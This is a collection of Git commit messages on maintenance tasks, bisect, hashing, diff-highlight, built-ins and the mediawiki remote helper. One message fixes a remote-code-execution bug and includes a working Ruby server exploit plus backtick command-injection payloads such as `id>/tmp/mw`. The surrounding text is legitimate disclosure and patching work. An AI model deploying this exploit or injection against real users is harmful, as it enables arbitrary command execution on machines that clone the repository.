The loose-objects task deletes loose objects that already exist in a
pack-file, then place the remaining loose objects into a new pack-file.
If this step runs all the time, then we risk creating pack-files with
very few objects with every 'git commit' process. To prevent
overwhelming the packs directory with small pack-files, place a minimum
number of objects to justify the task.
The 'maintenance.loose-objects.auto' config option specifies a minimum
number of loose objects to justify the task to run under the '--auto'
option. This defaults to 100 loose objects. Setting the value to zero
will prevent the step from running under '--auto' while a negative value
will force it to run every time.

One goal of background maintenance jobs is to allow a user to
disable auto-gc (gc.auto=0) but keep their repository in a clean
state. Without any cleanup, loose objects will clutter the object
database and slow operations. In addition, the loose objects will
take up extra space because they are not stored with deltas against
similar objects.
Create a 'loose-objects' task for the 'git maintenance run' command.
This helps clean up loose objects without disrupting concurrent Git
commands using the following sequence of events:
1. Run 'git prune-packed' to delete any loose objects that exist
in a pack-file. Concurrent commands will prefer the packed
version of the object to the loose version. (Of course, there
are exceptions for commands that specifically care about the
location of an object. These are rare for a user to run on
purpose, and we hope a user that has selected background
maintenance will not be trying to do foreground maintenance.)
2. Run 'git pack-objects' on a batch of loose objects. These
objects are grouped by scanning the loose object directories in
lexicographic order until listing all loose objects -or-
reaching 50,000 objects. This is more than enough if the loose
objects are created only by a user doing normal development.
We noticed users with _millions_ of loose objects because VFS
for Git downloads blobs on-demand when a file read operation
requires populating a virtual file.
This step is based on a similar step in Scalar [1] and VFS for Git.

When working with very large repositories, an incremental 'git fetch'
command can download a large amount of data. If there are many other
users pushing to a common repo, then this data can rival the initial
pack-file size of a 'git clone' of a medium-size repo.
Users may want to keep the data on their local repos as close as
possible to the data on the remote repos by fetching periodically in
the background. This can break up a large daily fetch into several
smaller hourly fetches.
The task is called "prefetch" because it is work done in advance
of a foreground fetch to make that 'git fetch' command much faster.
However, if we simply ran 'git fetch <remote>' in the background,
then the user running a foreground 'git fetch <remote>' would lose
some important feedback when a new branch appears or an existing
branch updates. This is especially true if a remote branch is
force-updated and this isn't noticed by the user because it occurred
in the background. Further, the functionality of 'git push
--force-with-lease' becomes suspect.
When running 'git fetch <remote> <options>' in the background, use
the following options for careful updating:
1. --no-tags prevents getting a new tag when a user wants to see
the new tags appear in their foreground fetches.
2. --refmap= removes the configured refspec which usually updates
refs/remotes/<remote>/* with the refs advertised by the remote.
While this looks confusing, this was documented and tested by
b40a50264ac (fetch: document and test --refmap="", 2020-01-21),
including this sentence in the documentation:
Providing an empty `<refspec>` to the `--refmap` option
causes Git to ignore the configured refspecs and rely
entirely on the refspecs supplied as command-line arguments.
3. By adding a new refspec "+refs/heads/*:refs/prefetch/<remote>/*"
we can ensure that we actually load the new values somewhere in
our refspace while not updating refs/heads or refs/remotes. By
storing these refs here, the commit-graph job will update the
commit-graph with the commits from these hidden refs.
4. --prune will delete the refs/prefetch/<remote> refs that no
longer appear on the remote.
5. --no-write-fetch-head prevents updating FETCH_HEAD.
We've been using this step as a critical background job in Scalar
[1] (and VFS for Git). This solved a pain point that was showing up
in user reports: fetching was a pain! Users do not like waiting to
download the data that was created while they were away from their
machines. After implementing background fetch, the foreground fetch
commands sped up significantly because they mostly just update refs
and download a small amount of new data. The effect is especially
dramatic when paried with --no-show-forced-udpates (through
fetch.showForcedUpdates=false).

All that needs to be done is to open the worktree as a folder, and

Let's ignore the entirety of those generated files.

In 06f5608c14 (bisect--helper: `bisect_start` shell function
partially in C, 2019-01-02), we changed the following shell
code:
- rev=$(git rev-parse -q --verify "$arg^{commit}") || {
- test $has_double_dash -eq 1 &&
- die "$(eval_gettext "'\$arg' does not appear to be a valid revision")"
- break
- }
- revs="$revs $rev"
into:
+ char *commit_id = xstrfmt("%s^{commit}", arg);
+ if (get_oid(commit_id, &oid) && has_double_dash)
+ die(_("'%s' does not appear to be a valid "
+ "revision"), arg);
+
+ string_list_append(&revs, oid_to_hex(&oid));
+ free(commit_id);
In case of an invalid "arg" when "has_double_dash" is false, the old
code would "break" out of the argument loop.
In the new C code though, `oid_to_hex(&oid)` is unconditonally
appended to "revs". This is wrong first because "oid" is junk as
`get_oid(commit_id, &oid)` failed and second because it doesn't break
out of the argument loop.
Not breaking out of the argument loop means that "arg" is then not
treated as a path restriction (which is wrong).

The command reads list of object names to place on the ignore list
either from the command line or from a file, but they are not
checked with their object type (those read from the file are not
even checked for object existence).
Extend the oidset_parse_file() API and allow it to take a callback
that can be used to die (e.g. when an inappropriate input is read)
or modify the object name read (e.g. when a tag pointing at a commit
is read, and the caller wants a commit object name), and use it in
the code that handles ignore list.

This reverts commit f39ad38410da554af54966bf74fa0402355852ac.
That commit was trying to silence a type-punning warning on older
versions of gcc. However, its analysis was all wrong. I didn't notice
that we _were_ in fact type-punning because there are two versions of
put_be32(): one that uses casts and unaligned loads, and another that
uses bitshifts. I looked at the latter, but on my platform we were
defaulting to the former.
However, as of the previous commit, we'll always use the bitshift
version. So we can drop this hackery to avoid the warning, making the
code slightly cleaner.

Our put_be32() routine and its variants (get_be32(), put_be64(), etc)
has two implementations: on some platforms we cast memory in place and
use nothl()/htonl(), which can cause unaligned memory access. And on
others, we pick out the individual bytes using bitshifts.
This introduces extra complexity, and sometimes causes compilers to
generate warnings about type-punning. And it's not clear there's any
performance advantage.
This split goes back to 660231aa97 (block-sha1: support for
architectures with memory alignment restrictions, 2009-08-12). The
unaligned versions were part of the original block-sha1 code in
d7c208a92e (Add new optimized C 'block-sha1' routines, 2009-08-05),
which says it is:
Based on the mozilla SHA1 routine, but doing the input data accesses a
word at a time and with 'htonl()' instead of loading bytes and shifting.
Back then, Linus provided timings versus the mozilla code which showed a
27% improvement:
https://lore.kernel.org/git/alpine.LFD.2.01.0908051545000.3390@localhost.localdomain/
However, the unaligned loads were either not the useful part of that
speedup, or perhaps compilers and processors have changed since then.
Here are times for computing the sha1 of 4GB of random data, with and
without -DNO_UNALIGNED_LOADS (and BLK_SHA1=1, of course). This is with
gcc 10, -O2, and the processor is a Core i9-9880H.
[stock]
Benchmark #1: t/helper/test-tool sha1 <foo.rand
Time (mean ± σ): 6.638 s ± 0.081 s [User: 6.269 s, System: 0.368 s]
Range (min … max): 6.550 s … 6.841 s 10 runs
[-DNO_UNALIGNED_LOADS]
Benchmark #1: t/helper/test-tool sha1 <foo.rand
Time (mean ± σ): 6.418 s ± 0.015 s [User: 6.058 s, System: 0.360 s]
Range (min … max): 6.394 s … 6.447 s 10 runs
And here's the same test run on an AMD A8-7600, using gcc 8.
[stock]
Benchmark #1: t/helper/test-tool sha1 <foo.rand
Time (mean ± σ): 11.721 s ± 0.113 s [User: 10.761 s, System: 0.951 s]
Range (min … max): 11.509 s … 11.861 s 10 runs
[-DNO_UNALIGNED_LOADS]
Benchmark #1: t/helper/test-tool sha1 <foo.rand
Time (mean ± σ): 11.744 s ± 0.066 s [User: 10.807 s, System: 0.928 s]
Range (min … max): 11.637 s … 11.863 s 10 runs
So the unaligned loads don't seem to help much, and actually make things
worse. It's possible there are platforms where they provide more
benefit, but:
- the non-x86 platforms for which we use this code are old and obscure
(powerpc and s390).
- the main caller that cares about performance is block-sha1. But
these days it is rarely used anyway, in favor of sha1dc (which is
already much slower, and nobody seems to have cared that much).
Let's just drop unaligned versions entirely in the name of simplicity.

If a user is cloning a SHA-1 repository with GIT_DEFAULT_HASH set to
"sha256", then we can end up with a repository where the repository
format version is 0 but the extensions.objectformat key is set to
"sha256". This is both wrong (the user has a SHA-1 repository) and
nonfunctional (because the extension cannot be used in a v0 repository).
This happens because in a clone, we initially set up the repository, and
then change its algorithm based on what the remote side tells us it's
using. We've initially set up the repository as SHA-256 in this case,
and then later on reset the repository version without clearing the
extension.
We could just always set the extension in this case, but that would mean
that our SHA-1 repositories weren't compatible with older Git versions,
even though there's no reason why they shouldn't be. And we also don't
want to initialize the repository as SHA-1 initially, since that means
if we're cloning an empty repository, we'll have failed to honor the
GIT_DEFAULT_HASH variable and will end up with a SHA-1 repository, not a
SHA-256 repository.
Neither of those are appealing, so let's tell the repository
initialization code if we're doing a reinit like this, and if so, to
clear the extension if we're using SHA-1. This makes sure we produce a
valid and functional repository and doesn't break any of our other use
cases.

We try to flush the output from diff-highlight whenever we see a blank
line. That lets you see the output for each commit as soon as it is
generated, even if Git is still chugging away at a diff, or traversing
to find the next commit.
However, our "blank line" match checks length($_). That won't ever be
true, because we haven't chomped the line ending. As a result, we never
flush. Instead, let's use a simple regex which handles line endings in
with the end-of-line marker.
This has been broken since the initial version in 927a13fe87 (contrib:
add diff highlight script, 2011-10-18). Probably nobody noticed because:
- most output is big enough, or comes fast enough, that it flushes
anyway. And it can be difficult to notice the difference between
"show a commit, then pause" and "pause, then show two commits". I
only noticed because I was viewing "git log" output on a repo with a
very slow textconv filter.
- if stdout is going to the terminal (and not another pager like
less), then the flush isn't necessary. So any manual testing would
show it appearing to work.
You can easily see the difference with something like:
echo '* diff=slow' >>.gitattributes
git -c diff.slow.textconv='sleep 1; cat' \
-c pager.log='diff-highlight | less' \
log -p
That should generate one commit every second or so (more if it touches
multiple files), but without this patch it waits for many seconds before
generating several pages of output.

The variable core_partial_clone_filter_default has been unused since
fa3d1b63e8 ("promisor-remote: parse remote.*.partialclonefilter",
2019-06-25), when Git was changed to refer to
remote.*.partialclonefilter as the default filter when fetching in a
partial clone, but (perhaps inadvertently) there was no fallback to
core.partialclonefilter.
One alternative is to add the fallback, but the aforementioned change
was made more than a year ago and I have not heard of any complaints
regarding this matter. In addition, there is currently no mention of
core.partialclonefilter in the user documentation. So it seems best to
reaffirm that Git will only support remote.*.partialclonefilter.

Since e4597aae6590 (run test suite without dashed git-commands in PATH,
2009-12-02), we stopped running our tests with `git-foo` binaries found
at the top-level directory of a freshly built source tree; instead we
have placed only `git` and selected `git-foo` commands that must be on
`$PATH` in `bin-wrappers/` and prepended that `bin-wrappers/` to the
`PATH` used in the test suite. We did that to catch the tests and
scripted Git commands that still try to use the dashed form.
Since CI jobs will not install the built Git to anywhere, and the
hardlinks we make at the top-level of the source tree for `git-add` and
friends are not even used during tests, they are pure waste of resources
these days.
Thanks to the newly invented `SKIP_DASHED_BUILT_INS` knob, we can now
skip creating these links in the source tree. So let's do that.
Note that this change introduces a subtle change of behavior: when Git's
`cmd_main()` calls `setup_path()`, it inserts the value of
`GIT_EXEC_PATH` (defaulting to `<prefix>/libexec/git-core`) at the
beginning of the environment variable `PATH`. This is necessary to find
e.g. scripted commands that are installed in that location. For the
purposes of Git's test suite, the `bin-wrappers/` scripts override
`GIT_EXEC_PATH` to point to the top-level directory of the source code.
In other words, if a scripted command had used a dashed invocation of a
built-in Git command, it would not have been caught previously, which is
fixed by this change.

For a long time already, the non-dashed form of the built-ins is the
recommended way to write scripts, i.e. it is better to call `git merge
[...]` than to call `git-merge [...]`.
While Git still supports the dashed form (by hard-linking the `git`
executable to the dashed name in `libexec/git-core/`), in practice, it
is probably almost irrelevant.
However, we *do* care about keeping people's scripts working (even if
they were written before the non-dashed form started to be recommended).
Keeping this backwards-compatibility is not necessarily cheap, though:
even so much as amending the tip commit in a git.git checkout will
require re-linking all of those dashed commands. On this developer's
laptop, this makes a noticeable difference:

Also, `.zip` files do not have any standardized support for hard-links,
therefore "zipping up" the executables will result in inflated disk
usage. (To keep down the size of the "MinGit" variant of Git for
Windows, which is distributed as a `.zip` file, the hard-links are
excluded specifically.)
In addition to that, some programs that are regularly used to assess
disk usage fail to realize that those are hard-links, and heavily
overcount disk usage. Most notably, this was the case with Windows
Explorer up until the last couple of Windows 10 versions. See e.g.
https://github.com/msysgit/msysgit/issues/58.
To save on the time needed to hard-link these dashed commands, with the
plan to eventually stop shipping with those hard-links on Windows, let's
introduce a Makefile knob to skip generating them.

There is a hard-coded list of `.pdb` files to copy. But we are about to
introduce the `SKIP_DASHED_BUILT_INS` knob in the `Makefile`, which
might make this hard-coded list incorrect.
Let's switch to a dynamically-generated list instead.

To avoid branch names with a loaded history, we already started to avoid
using the name "master" in a couple instances.
The `t3200-branch.sh` script uses variations of this name for branches
other than the default one. So let's change those names, as
"lowest-hanging fruits" in the effort to use more inclusive naming
throughout Git's source code. While at it, make those branch names
independent from the default branch name.
In this particular instance, this rename requires a couple of
non-trivial adjustments, as the aligned output depends on the maximum
length of the displayed branches (which we now changed), and also on the
alphabetical order (which we now changed, too).

In the ongoing effort to make the Git project a more inclusive place,
let's try to avoid names like "master" where possible.
In this instance, the use of the term `slave` is unfortunately enshrined
in IO::Pty's API. We simply cannot avoid using that word here. But at
least we can get rid of the usage of the word `master` and hope that
IO::Pty will be eventually adjusted, too.
Guessing that IO::Pty might follow Python's lead, we replace the name
`master` by `parent` (hoping that IO::Pty will adopt the parent/child
nomenclature, too).

The previous commit introduced ---merge-base a way to take the diff
between the working tree or index and the merge base between an arbitrary
commit and HEAD. It makes sense to extend this option to support the
case where two commits are given too and behave in a manner identical to
`git diff A...B`.
Introduce the --merge-base flag as an alternative to triple-dot
notation. Thus, we would be able to write the above as
`git diff --merge-base A B`.

Remove the use of run_git_unquoted() completely with a use of "sh -c"
suggested by Jeff King, i.e.:
sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id'
I don't think this is needed now for any potential RCE issue. The
$remotename argument is ultimately picked by the local user (and
similarly, the $local variable comes from a user-supplied
refspec).
But completely eliminating the use of unquoted shell arguments has a
value in and of itself, by making the code easier to review. As noted
in an earlier commit I think the use of IPC::Open3 would be too
verbose here, but this "sh -c" trick strikes the right balance between
readability and semantic sanity.

Explicitly annotate the invocations of run_git() which don't use
quoted arguments. I'm not converting these to run_git_quoted() because
these invocations pipe stderr to /dev/null, which the Perl open() API
doesn't support.
We could do a quoted version of this with IPC::Open3, but I don't
think it's worth it to go through that here. Let's instead just mark
these sites, and comment on why it's OK to use the variables we're
using.
This eliminates the last uses of run_git(), so we can remove the alias
for it introduced in an earlier commit.

Change those callsites that are able to call run_safe() with a quoted
list of arguments to do so.
This fixes a RCE bug in this transport helper reported by Joern
Schneeweisz to the git-security mailing list. The issue is being made
public due to the relative obscurity of the remote-mediawiki code.
The security issue is that we'd execute a command like this via Perl's
"open -|", where the $name is taken directly from the api.php
response. So that a JSON response of e.g.:
[...]"title":"`id>/tmp/mw`:Main Page"[..]
Would result in an invocation of:
git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace"
>From code such as this, which is being changed by this patch:
run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}"));
So we'd execute an arbitrary command, and also put
"remote.origin.namespaceCache=:notANameSpace" in the config. With this
change we quote all of this, so now we'll simply write
"remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the
config, and not execute any remote commands.
About the implementation: as noted in [1] (see also [2]) this style of
invoking open() has compatibility issues on Windows up to Perl
5.22. However, Johannes Schindelin notes that we shouldn't worry about
Windows in this context because (quoting a private E-Mail of his):
1. The mediawiki helper has never been shipped as part of an
official Git for Windows version. Neither has it ever been part
of an official MSYS2 package. Which means that Windows users
who want to use the mediawiki helper have to build Git
themselves, which not many users seem to do.
2. The last Git for Windows version to ship with Perl v5.22.x was
Git for Windows v2.11.1; Since Git for Windows
v2.12.0 (released on February 25th, 2017), only newer Perl
versions were included.
So let's just use this open() API. Grepping around shows that various
other Perl code we ship such as gitweb etc. uses this way of calling
open(), so we shouldn't have any issues with compatibility.
For further reference and future testing, here's working exploit code
provided by Joern:
#!/usr/bin/ruby
# git client side RCE via `mediawiki` remote proof of concept
# Joern Schneeweisz - GitLab Security Research Team
require 'sinatra'
set bind: '0.0.0.0'
if not ARGV[0]
puts "Please provide the shell command to be execucted."
exit -1
end
cmd = ARGV[0]
all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd)
revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd)
mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd)
post '/api.php' do
if params[:list] == 'allpages'
return all_pages
end
if params[:prop] == 'revisions'
return revs
end
return mainpage
end
Which:
[...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when
being cloned with `git clone mediawiki::http://localhost:4567` the
file `/tmp/mw` will be created during the clone process,
containing the output of `id`.

Invoking commands as "git $args" doesn't quote $args. Let's support
["git", $args] as well, and create corresponding run_git_quoted() and
run_git_unquoted() aliases for subsequent changes when we move the
code over to the new style of invoking this function. At that point
we'll delete the then-unused run_git() wrapper.

These tests consistently fail for me, and were failing before any of
the changes in this series. As noted in [1] there are some known
intermittent test failures. Let's mark these as failing so we can have
an otherwise passing test suite.
We need to add an extra test_path_is_file() here because since
d572f52a64 ("test_cmp: diagnose incorrect arguments", 2020-08-09)
test_cmp has errored out with a BUG if one of the test arguments
doesn't exist, without that the test would still fail even without
test_expect_failure().
